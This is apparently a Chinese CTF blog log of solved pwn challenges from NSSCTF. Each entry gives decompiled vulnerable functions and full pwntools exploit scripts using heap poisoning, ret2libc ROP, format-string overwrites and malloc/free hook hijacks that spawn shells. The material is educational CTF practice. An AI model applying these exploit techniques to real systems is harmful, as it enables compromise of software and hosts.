NSSCTF pwn 刷题记录(持续更新)

pic

这是一个记录在NSSCTF平台上刷pwn题的博客,题目顺序按照刷题的先后顺序

SWPUCTF_2019_p1KkHeap

题目考点

1.tacahe bin attact
2.unsorted bin attact
3.malloc hook

函数

main 其中的各种功能只能调用18次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rdi
int v4; // eax

sub_B0A();
v3 = " Welcome to SWPUCTF 2019";
puts(" Welcome to SWPUCTF 2019");
while ( dword_202024 > 0 )
{
sub_10C5();
v4 = sub_1076(v3, a2);
if ( v4 == 3 )
{
sub_EC1();
}
else if ( v4 > 3 )
{
if ( v4 == 5 )
((void (*)(void))sub_E04)();
if ( v4 < 5 )
{
sub_FD1();
}
else if ( v4 == 666 )
{
v3 = "p1Kk wants a boyfriend!";
puts("p1Kk wants a boyfriend!");
}
}
else if ( v4 == 1 )
{
sub_E1E();
}
else if ( v4 == 2 )
{
sub_F58();
}
--dword_202024; // 18
}
sub_E04(v3, a2);
}

sub_BA0 完成初始化以及沙盒,通过seccomp-tools得知禁用了one_gadget系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
fd = open("./logo", 4);
read(fd, &unk_202140, 0x10932uLL);
write(1, &unk_202140, 0x10932uLL);
write(1, asc_202040, 0x52uLL);
close(fd);
if ( mmap((void *)0x66660000, 0x1000uLL, 7, 34, -1, 0LL) != (void *)1717960704 )// 在0x66660000处映射了0x1000大小的内存
exit(-1);
memset((void *)0x66660000, 0, 0x1000uLL);
strcpy((char *)0x66660000, "SWPUCTF_p1Kk");
prctl(38, 1LL, 0LL, 0LL, 0LL); // 沙箱禁用

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall sub_E1E(__int64 a1, __int64 a2)
{
int v3; // [rsp+4h] [rbp-Ch]
size_t size; // [rsp+8h] [rbp-8h]

printf("size: ");
size = sub_1076();
if ( size > 0x100 ) // 最大申请0x100
sub_E04("size: ", a2);
v3 = sub_DA9();
if ( v3 <= 7 ) // 最多申请7个
{
qword_202100[v3] = malloc(size);
dword_2020E0[v3] = size;
}
return puts("Done!");
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall sub_FD1(__int64 a1, __int64 a2)
{
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

if ( dword_202020 <= 0 )
sub_E04(a1, a2);
printf("id: ");
v3 = sub_1076();
if ( v3 > 7 )
sub_E04("id: ", a2);
free((void *)qword_202100[v3]);
dword_2020E0[v3] = 0; // 这里只把大小清零,却没把指针清零 存在UAF
--dword_202020; // dword_202020=3,只能free三次
return puts("Done!");
}

show

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall sub_F58(__int64 a1, __int64 a2)
{
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

printf("id: ");
v3 = sub_1076();
if ( v3 > 7 )
sub_E04("id: ", a2);
printf("content: ");
puts((const char *)qword_202100[v3]);
return puts("Done!");
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall sub_EC1(__int64 a1, __int64 a2)
{
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

printf("id: ");
v3 = sub_1076();
if ( v3 > 7 )
sub_E04("id: ", a2);
printf("content: ");
read(0, *((void **)&qword_202100 + v3), dword_2020E0[v3]);
return puts("Done!");
}

攻击思路

这里是转自星盟的ha1vk师傅的攻击思路

我们该如何触发shellcode或ROP,在这,我们可以攻击__malloc_hook,将shellcode的地址写入到__malloc_hook,在这里,ROP显然很麻烦,因为ROP还要做栈转移,并且需要先前依靠一段shellcode来转移栈,如果供我们存放shellcode的地方空间很小,那么我们可以考虑写一段简短的shellcode,将栈转移,但是,如果我们有足够的空间来放shellcode,那么,直接把读取和输出flag的shellcode写到那个空间。

对于可写shellcode的空间很小,我还想到了另外一种方法,那就是写一段简短的shellcode,来调用int mprotect(const void *start, size_t len, int prot)函数,将某地址处属性修改为可执行,比如,我们可以把某个堆修改为可执行,那么就能在堆里布下shellcode。

程序在0x66660000这个固定的地址处映射了0x1000大小的空间,并且属性为RWX,既可读写,也具有执行属性,并且地址固定为0x66660000,使得我们更加方便。

所以,我们决定把shellcode写到0x66660000处,然后攻击malloc_hook,在malloc_hook处写入0x66660000,这样,当我们再次malloc时,就会执行shellcode。

首先,需要泄露一些地址,那么需要用到unsorted bin,但是,由于tcache的存在,对应的tcache bin满7个,接下来的堆块才会放入unsorted bin。满7个,就必须delete 7次,本题最多只能用3次,显然这个方案不可行。

下面是tcache的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
struct malloc_par  
{
/* Tunable parameters */
unsigned long trim_threshold;
INTERNAL_SIZE_T top_pad;
INTERNAL_SIZE_T mmap_threshold;
INTERNAL_SIZE_T arena_test;
INTERNAL_SIZE_T arena_max;

/* Memory map support */
int n_mmaps;
int n_mmaps_max;
int max_n_mmaps;
/* the mmap_threshold is dynamic, until the user sets
it manually, at which point we need to disable any
dynamic behavior. */
int no_dyn_threshold;

/* Statistics */
INTERNAL_SIZE_T mmapped_mem;
INTERNAL_SIZE_T max_mmapped_mem;

/* First address handed out by MORECORE/sbrk. */
char *sbrk_base;

#if USE_TCACHE
/* Maximum number of buckets to use. */
size_t tcache_bins;
size_t tcache_max_bytes;
/* Maximum number of chunks in each bucket. */
size_t tcache_count;
/* Maximum number of chunks to remove from the unsorted list, which
aren't used to prefill the cache. */
size_t tcache_unsorted_limit;
#endif
};

static struct malloc_par mp_ =
{
.top_pad = DEFAULT_TOP_PAD,
.n_mmaps_max = DEFAULT_MMAP_MAX,
.mmap_threshold = DEFAULT_MMAP_THRESHOLD,
.trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
.arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS,
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
.tcache_unsorted_limit = 0 /* No limit. */
#endif
};

注意,size_t tcache_bins;是无符号的,但是 tcache->counts[tc_idx]是有符号数组

当一个有符号数和一个无符号数进行比较时,有符号数会先转换成无符号数,然后再进行比较。

那么,假设,我们double free同一个堆,那么在tcache bin里就会构成循环链表,此时count=2,然后,我们再create 3个一样大小的堆,那么count就变成了-1,此时,我们再delete一个unsorted bin范围的堆,这个堆就会放入unsorted bin,然后我们用show功能就能泄露出libc中的指针。

但是该程序只能free3次,所以我们用一次攻击,直接去攻击tcache bin的表头,那么,下次,我们就能直接修改表头,来决定下一次堆分配到哪个地方。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

elf = ELF ('/home/hgg/Desktop/pwn/heap/pwn1')
libc = ELF('/home/hgg/Desktop/pwn/heap/libc-2.27.so')


context.log_level = 'debug'
context.arch = 'amd64'

io = remote(1.14.71.254:28070)

def add(size):
io.recvuntil('Choice:')
io.sendline('1')
io.recvuntil('size:')
io.sendline(str(size))

def show(idx):
io.recvuntil('Choice:')
io.sendline('2')
io.recvuntil('id:')
io.sendline(str(idx))

def free(idx):
io.recvuntil('Choice:')
io.sendline('4')
io.recvuntil('id:')
io.sendline(str(idx))

def edit(idx,data):
io.recvuntil('Choice:')
io.sendline('3')
io.recvuntil('id:')
io.sendline(str(idx))
io.recvuntil('content:')
io.send(data)



add(0x100)#0
add(0x100)#1
#tcache_dup
free(1)
free(1)
#1_chunk get tcache_entry
show(1)
io.recvuntil('content: ')
first_chunk=u64(io.recv(6).ljust(8,b'\x00'))

tcache_entry=first_chunk-0x198-0x110
print(hex(tcache_entry))
#edit fd -> tache_entry
add(0x100)#2
edit(2,p64(tcache_entry))
add(0x100)#3
add(0x100)#4 get tcache_entry
rwx_add=0x66660000
edit(4,p64(rwx_add))#edit tcache_entry
add(0x100) #5 get rwx memory
#write shellcode
shellcode=shellcraft.open('flag')
shellcode+=shellcraft.read(3,0x66660100,64)
shellcode+=shellcraft.write(1,0x66660100,64)
edit(5,asm(shellcode))
#tcache_count is -1(0xff) now
#unsortbin attack
free(0)
show(0)
io.recvuntil('content: ')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x3ebca0
print(hex(libc_base))
#malloc_hijack
malloc_hook=libc_base+0x3ebc30
edit(4,p64(malloc_hook))#edit tcache_entry
add(0x100) #6 get malloc_hook
edit(6,p64(rwx_add))
#getflag
add(0x100)
io.interactive()

CISCN 2019东北 PWN2

IDA分析

encrypt 函数中有个栈溢出,这题直接ret2libc

2.png-39.5kB

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

elf = ELF ('/home/hgg/Desktop/pwn/pwn2')
libc = ELF('/home/hgg/Desktop/libc-2.27.so')


context.log_level = 'debug'
context.arch = 'amd64'



'''
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

Unique gadgets found: 15

'''
#p = process('pwn2')
p = remote("1.14.71.254",28015)

main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400c83
pop_4 = 0x400c7c
ret = 0x4006b9

payload = b'a'*0x50+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
def encrypt(payload):
p = ""
for x in payload:
x = chr(x)
if ord(x)<=96 or ord(x)>122:
if ord(x)<=64 or ord(x)>90:
if ord(x)>47 and ord(x)<=57:
x=chr(ord(x)^0xc)
else:
x=chr(ord(x)^0xd)
else:
x=chr(ord(x)^0xe)
p += x
return(p)

p.recvuntil("Input your choice!\n")
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(encrypt(payload))

libc_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) - libc.sym['puts']

print(hex(libc_addr))

system = libc_addr + libc.sym['system']
bin_sh = libc_addr + 0x1b3e9a
#gdb.attach(p)
payload2 = b'a'*0x50+p64(0)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(main)
p.recvuntil("Input your choice!\n")
p.sendline("1")
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload2)
p.interactive()

CISCN 2019东北 PWN3

IDA 分析

main函数

5.png-36.5kB

print_chk()明显是个格式化字符串

这个题能用的函数就两个

add

3.png-31.2kB

delete

4.png-22.6kB

存在UAF

题目思路

题目给的环境是Ubuntu 18 glibc 2.27

这里直接就一个格式化字符串泄露libc地址再tcachebin double free 来Getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

libc = ELF("libc-2.27.so")
elf = ELF("/home/hgg/Desktop/pwn27/pwn")

p = process("/home/hgg/Desktop/pwn27/pwn")
#p = remote("1.14.71.254",28046)
#context.log_level = "debug"

def add(size,story):
p.sendlineafter('choice:','1')
p.sendlineafter('story:',str(size))
p.sendlineafter('story:',story)
def delete(idx):
p.sendlineafter('choice:','4')
p.sendlineafter('index:',str(idx))

p.recvuntil("name?\n")
p.sendline("aaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p")
s = str(p.recv(130)).split(".")
print(s)
libc_addr = int(s[7],16)-0x81237
print(hex(libc_addr))




p.recvuntil("Please input your ID.")
p.send("3")

free_hook = libc_addr + libc.sym['__free_hook']
system = libc_addr + libc.sym['system']

add(0x20,'aaaa')
add(0x20,'/bin/sh\x00')

delete(0)
delete(0)

add(0x20,p64(free_hook))
add(0x20,'a')

gdb.attach(p)

add(0x20,p64(system))
delete(1)


p.interactive()

[CISCN 2019华北]PWN1

题目思路

简单的栈溢出 + ret2text

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

#p = process('BBB')
elf = ELF('BBB')
libc =ELF('libc-2.27.so')
p = remote("1.14.71.254",28049)

ret = 0x400501
pop_rdi = 0x400793
cat_flag = 0x04007CC
system = elf.plt['system']

p.recvuntil("number.")

payload = b'a'*0x30 + p64(0)+p64(ret)+p64(pop_rdi)+p64(cat_flag)+p64(system)

p.sendline(payload)

'''
0x000000000040078c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040078e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400790 : pop r14 ; pop r15 ; ret
0x0000000000400792 : pop r15 ; ret
0x000000000040078b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040078f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005e0 : pop rbp ; ret
0x0000000000400793 : pop rdi ; ret
0x0000000000400791 : pop rsi ; pop r15 ; ret
0x000000000040078d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400501 : ret

'''

p.interactive()

[CISCN 2019西南]PWN1

题目分析

漏洞点是main函数中的格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format; // [esp+0h] [ebp-48h]

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", &format);
printf("Hello ");
printf(&format);
return 0;
}

main函数只能执行一次,但是在函数退出的时候回去执行__fini_array里的函数

由于题目是"No RELRO"所以__fini_array可读可写

所以本题可以利用格式化字符串任意地址写来同时将__fini_array[0]写为main,printf_got写为system_plt

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

elf = ELF("CCC")
p = process("CCC")
p = remote("1.14.71.254",28060)
system = elf.plt['system'] #0x80483D0
main = elf.sym['main'] #0x8048534
printf = elf.got['printf']
fini = 0x0804979C

payload = p32(fini+ 2) + p32(printf+2) + p32(printf) + p32(fini)
'''
payload += "%" + str(0x0804 - 0x10) + "c%4$hn" #0804
payload += "%5$hn" #0804
payload += "%" + str(0x83D0 - 0x0804) + "c%6$hn" #83D0
payload += "%" + str(0x8534 - 0x83D0) + "c%7$hn" #8534
'''

payload += b'%2036c%4$hn%5$hn%31692c%6$hn%356c%7$hn'

p.recvuntil("name?")
p.sendline(payload)
p.recvuntil("name?\n")
p.sendline("/bin/sh\x00")

p.interactive()

[2021 长城杯院校组]king_in_heap_1

题目考点

1.uaf
2.fastbin attack
3.House-of-Roman

漏洞分析

delete 函数存在uaf

1
2
3
4
5
6
7
8
9
10
void delete()
{
int index; // [rsp+Ch] [rbp-4h]

puts("input index:");
index = get_num();
if ( index < 0 || index > 10 || !heaparray[index] || !lenarray[index] )
exit(0);
free((void *)heaparray[index]);
}

同时给出了printf的后3位

1
2
3
4
int gift()
{
return printf("%p\n", (unsigned __int64)&printf & 0xFFFFFF);
}

解题步骤

Step1 leak libc

首先利用给出的printf的后三位计算出stderr+157的地址

1
2
3
4
gift()
p.recvuntil('0x')
printf = int(p.recv(6),16)
stderr_157 = printf + 0x36fdcd

stderr+157:这个偏移是固定,在2.23版本的libc中,之后填充0x33就可以攻击stdout结构体,从而可以制造泄露出stderr+192 的地址

之后就是结合fastbin attack泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(0,0x60)
add(1,0xf0)
add(2,0x60)
add(3,0x60)
free(1)
add(4,0x60) #add from unsortedbin
edit(4,p64(stderr_157)[:3]) #edit unsortedbin fd
free(0)
free(2)
edit(2,p8(0x70))

add(5,0x60)
add(6,0x60)
add(7,0x60)
payload = b'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00'
edit(7,payload)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) -0x3c5600

这段paylaod的写法可以参考:https://www.jianshu.com/p/27152c14e2e7

Step2 劫持malloc_hook get shell

这里利用方法参考:https://blog.csdn.net/seaaseesa/article/details/103057937

1
2
3
4
5
6
7
8
9
10
11
12
13
14
malloc_hook_offset = libc_base + libc.sym['__malloc_hook'] -0x23
system = libc_base + libc.sym['system']
realloc = libc_base + libc.sym['realloc']

one_gadget=[0x45226, 0x4527a, 0xf03a4, 0xf1247]
one = libc_base + one_gadget[1]
add(8,0x60)
free(8)
edit(8,p64(malloc_hook_offset))
add(9,0x60)
add(10,0x60)
edit(10,b'\x00'*(0x13-8) + p64(one)+p64(realloc+12))
add(8,0x10)
p.interactive()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

p = process('EEE')
elf = ELF('EEE')
libc = ELF('libc-2.23.so')

def add(index,size):
p.recvuntil(">>")
p.sendline("1")
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("size:")
p.sendline(str(size))

def free(index):
p.recvuntil(">>")
p.sendline("2")
p.recvuntil("index:")
p.sendline(str(index))

def edit(index,content):
p.recvuntil(">>")
p.sendline("3")
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("context:")
p.sendline(content)

def gift():
p.recvuntil(">>")
p.sendline("666")

gift()
p.recvuntil('0x')
printf = int(p.recv(6),16)
stderr_157 = printf + 0x36fdcd

add(0,0x60)
add(1,0xf0)
add(2,0x60)
add(3,0x60)
free(1)
add(4,0x60) #add from unsortedbin
edit(4,p64(stderr_157)[:3])
free(0)
free(2)
edit(2,p8(0x70))

add(5,0x60)
add(6,0x60)
add(7,0x60)
payload = b'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+b'\x00'
edit(7,payload)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) -0x3c5600
malloc_hook_offset = libc_base + libc.sym['__malloc_hook'] -0x23
system = libc_base + libc.sym['system']
realloc = libc_base + libc.sym['realloc']

one_gadget=[0x45226, 0x4527a, 0xf03a4, 0xf1247]
one = libc_base + one_gadget[1]
add(8,0x60)
free(8)
edit(8,p64(malloc_hook_offset))
add(9,0x60)
add(10,0x60)
edit(10,b'\x00'*(0x13-8) + p64(one)+p64(realloc+12))
add(8,0x10)

#gdb.attach(p)

p.interactive()

SWPU 2020 tnote

漏洞分析

在题目的edit函数中存在off by one

1
2
3
4
5
6
7
for ( i = 0; i <= dword_202060[v3]; ++i )  //off by one
{
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*(_BYTE *)(i + qword_202080[v3]) = buf;
}

利用off by one 来修改 chunk 的szie 位来造成tacahe overlapping

解题步骤

Step1:构造overlapped chunk

在申请的时候需要注意,chunk2和chunk4的大小一致,方便等下释放进入tacahe

修改chunk1 的大小为0x71,此时chunk1和chunk2重合

1
2
3
4
5
6
7
8
9
add(0x18) #0
add(0x18) #1 0x21
add(0x48) #2 0x51
add(0x38) #3 0x41
add(0x48) #4 0x51

edit(0,b'a'*0x18+b'\x71') #chunk1 => 0x71
free(1)
add(0x68)#1

Step2:泄露堆地址

释放chunk4和chunk2

1
2
free(4)
free(2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> hex 0x55c37c076000 2000
+0000 0x55c37c076000 00 00 00 00 00 00 00 00 51 02 00 00 00 00 00 00 │....│....│Q...│....│
+0010 0x55c37c076010 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
+0020 0x55c37c076020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
+0060 0x55c37c076060 00 00 00 00 00 00 00 00 a0 62 07 7c c3 55 00 00 │....│....│.b.|│.U..│
+0070 0x55c37c076070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
+0250 0x55c37c076250 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │....│....│!...│....│
+0260 0x55c37c076260 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
+0270 0x55c37c076270 61 61 61 61 61 61 61 61 71 00 00 00 00 00 00 00 │aaaa│aaaa│q...│....│
+0280 0x55c37c076280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
+0290 0x55c37c076290 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00 │....│....│Q...│....│
+02a0 0x55c37c0762a0 30 63 07 7c c3 55 00 00 10 60 07 7c c3 55 00 00 │0c.|│.U..│.`.|│.U..│
+02b0 0x55c37c0762b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
+02e0 0x55c37c0762e0 00 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 │....│....│A...│....│
+02f0 0x55c37c0762f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
+0320 0x55c37c076320 00 00 00 00 00 00 00 00 51 00 00 00 00 00 00 00 │....│....│Q...│....│
+0330 0x55c37c076330 00 00 00 00 00 00 00 00 10 60 07 7c c3 55 00 00 │....│....│.`.|│.U..│
+0340 0x55c37c076340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
+0370 0x55c37c076370 00 00 00 00 00 00 00 00 91 0c 02 00 00 00 00 00 │....│....│....│....│
+0380 0x55c37c076380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
pwndbg> bins
tcachebins
0x50 [ 2]: 0x55c37c0762a0 —> 0x55c37c076330 <— 0x0

泄露堆地址,利用heap_addr计算出存储0x90大小的tacahe bin count的位置以及0x50大小的tacahe bin在tacahe struct中的位置

1
2
3
4
5
edit(1,b'a'*0x20)
show(1)
heap = u64(p.recvuntil("Done", drop=True)[-6:].ljust(8, b'\x00'))-0x330
tacahe_addr = heap + 0x68
count0x90 = heap + 0x17

Step3 泄露libc

泄露libc的思路就是将0x90大小的tacahe bin的conunt 改为 7 这样当我再释放下一个0x90大小的堆的时候他就会进入unsorted bin进而unsorted bin attack

在这之前先利用之前overlap修改 tcachebin fd 指针指向结构体,第二次申请就能申请到 tcache 结构体,从而修改数量tacahe count

1
2
3
4
5
6
7
8
9
10
11
12
edit(1,b'a'*0x18+p64(0x51)+p64(tacahe_addr))
add(0x48) #2
edit(1, b'a' * 0x18 + b'\x91')
add(0x48) #4
edit(4, p64(heap-0x319)) #任意地址写
'''
pwndbg> bins
# tcachebins
0x50 [ 0]: 0x558836a30017 <— ...
'''
add(0x48) #5
edit(5, '\x07')

此时的0x90大小的tacahe count 已经被改成了7,接下来只要释放一个大小为0x90的chunk它就会进入unsorted bin

1
2
3
edit(1,b'a'*0x20)
show(1)
libc_base = u64(p.recvuntil("Done", drop=True)[-6:].ljust(8, b'\x00'))-0x3ebca0

Step4: 利用之前的任意地址写修改__free_hook为system来getshell

1
2
3
4
5
6
7
8
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
edit(4, p64(free_hook))
add(0x48) #2
edit(2,p64(system))
edit(3,b'/bin/sh\x00')
free(3)
#gdb.attach(p)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

p = process('AAA')
elf = ELF('AAA')
libc = ELF('libc-2.27.so')
#p = remote("1.14.71.254",28051)


def add(size):
p.recvuntil("choice:")
p.sendline("A")
p.recvuntil("size?")
p.sendline(str(size))

def edit(idx,content):
p.recvuntil("choice:")
p.sendline("E")
p.recvuntil("idx?")
p.sendline(str(idx))
p.recvuntil("content:")
p.sendline(content)

def free(idx):
p.recvuntil("choice:")
p.sendline("D")
p.recvuntil("idx?")
p.sendline(str(idx))

def show(idx):
p.recvuntil("choice:")
p.sendline("S")
p.recvuntil("idx?")
p.sendline(str(idx))

add(0x18) #0
add(0x18) #1 0x21
add(0x48) #2 0x51
add(0x38) #3 0x41
add(0x48) #4 0x51

edit(0,b'a'*0x18+b'\x71') #chunk1 => 0x71
free(1)
add(0x68)#1


free(4)
free(2)


edit(1,b'a'*0x20)
show(1)
heap = u64(p.recvuntil("Done", drop=True)[-6:].ljust(8, b'\x00'))
tacahe_addr = heap - 0x2C8

edit(1,b'a'*0x18+p64(0x51)+p64(tacahe_addr))
add(0x48) #2
edit(1, b'a' * 0x18 + b'\x91')
add(0x48) #4


edit(4, p64(heap-0x319))
gdb.attach(p)
add(0x48) #5
edit(5, '\x07')

free(2)

edit(1,b'a'*0x20)
show(1)
libc_base = u64(p.recvuntil("Done", drop=True)[-6:].ljust(8, b'\x00'))-0x3ebca0
print(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']



edit(4, p64(free_hook))

add(0x48) #2
edit(2,p64(system))
edit(3,b'/bin/sh\x00')
free(3)
#gdb.attach(p)

p.interactive()

p.s. 本题的flag在/home/ctf/flag.txt

[2021 祥云杯]PasswordBox free Version

题目考点

1.异或算法
2.off by null
3.Unlink
4.glibc 2.27 -v1.4 double free

功能分析

add函数主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ( (unsigned int)size <= 0x100 )
{
s = (char *)malloc((unsigned int)size);
printf("Your Pwd:");
getchar();
fgets(s, size + 1, stdin); // off by null
encrypt((__int64)s, size);
*((_DWORD *)&lenarray + 8 * SHIDWORD(size)) = size;
*((_QWORD *)&heaparray + 4 * SHIDWORD(size)) = s;
isAlive[8 * SHIDWORD(size)] = 1;
if ( !ifFirst )
{
printf("First Add Done.Thx 4 Use. Save ID:%s", *((const char **)&heaparray + 4 * SHIDWORD(size)));
ifFirst = 1LL;
}
}

fgets 存在off by null 可以让我们后面修改chunk的size

且输入的content会进行一次加密,加密函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall encrypt(__int64 note, int a2)
{
__int64 result; // rax
int v3; // [rsp+14h] [rbp-18h]
int i; // [rsp+18h] [rbp-14h]

v3 = 2 * (a2 / 16);
if ( a2 % 16 <= 8 )
{
if ( a2 % 16 > 0 )
++v3;
}
else
{
v3 += 2;
}
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= v3 )
break;
*(_QWORD *)(8LL * i + note) ^= key;
}
return result;
}

可以看到是以八位为单位进行亦或操作,但是每次的key都是随机生成的,而由于获取我们输入的是fgets,当它读到"\n"且你输入的content小于size,就会将剩下的用0填充,由于0^key=key这样我们就能得到key了

edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( !isFirst )
{
__isoc99_scanf("%u", &v1);
getchar();
isFirst = 1LL;
read(0, *((void **)&heaparray + 4 * v1), 0x10uLL);
puts("Because this is Free Version.The edit Function is Limit to use");
}
return __readfsqword(0x28u) ^ v2;
}

一个堆,一生只能edit1次,且只能改0x10的大小

free和show都是正常的free和show

解题步骤

Step1: 获得key
利用a ^ 0 = a的特性,得到key

1
2
3
4
5
add(0xf8,b'a\n')
p.recvuntil("Save ID:")
p.recv(8)
key = u64(p.recv(8))
print(hex(key))

Step2:构造overlapped chunk leak libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#填满tacahe
for i in range(6):
add(0xf8,b'aaa')

add(0xf8,b'aaa') #0 (7)
add(0x78,b'aaa') #1 (8)
add(0xf8,b'aaa') #2 (9)
add(0x88,b'aaa') #3 (10)

for i in range(7):
free(i)

free(8)
free(7) #free一个正常的chunk以便绕过Unlink检测
add(0x78,b'a'*0x70+p64((0x80+0x100)^key)) #size = chunk8 + chunk7
free(9) #unlink

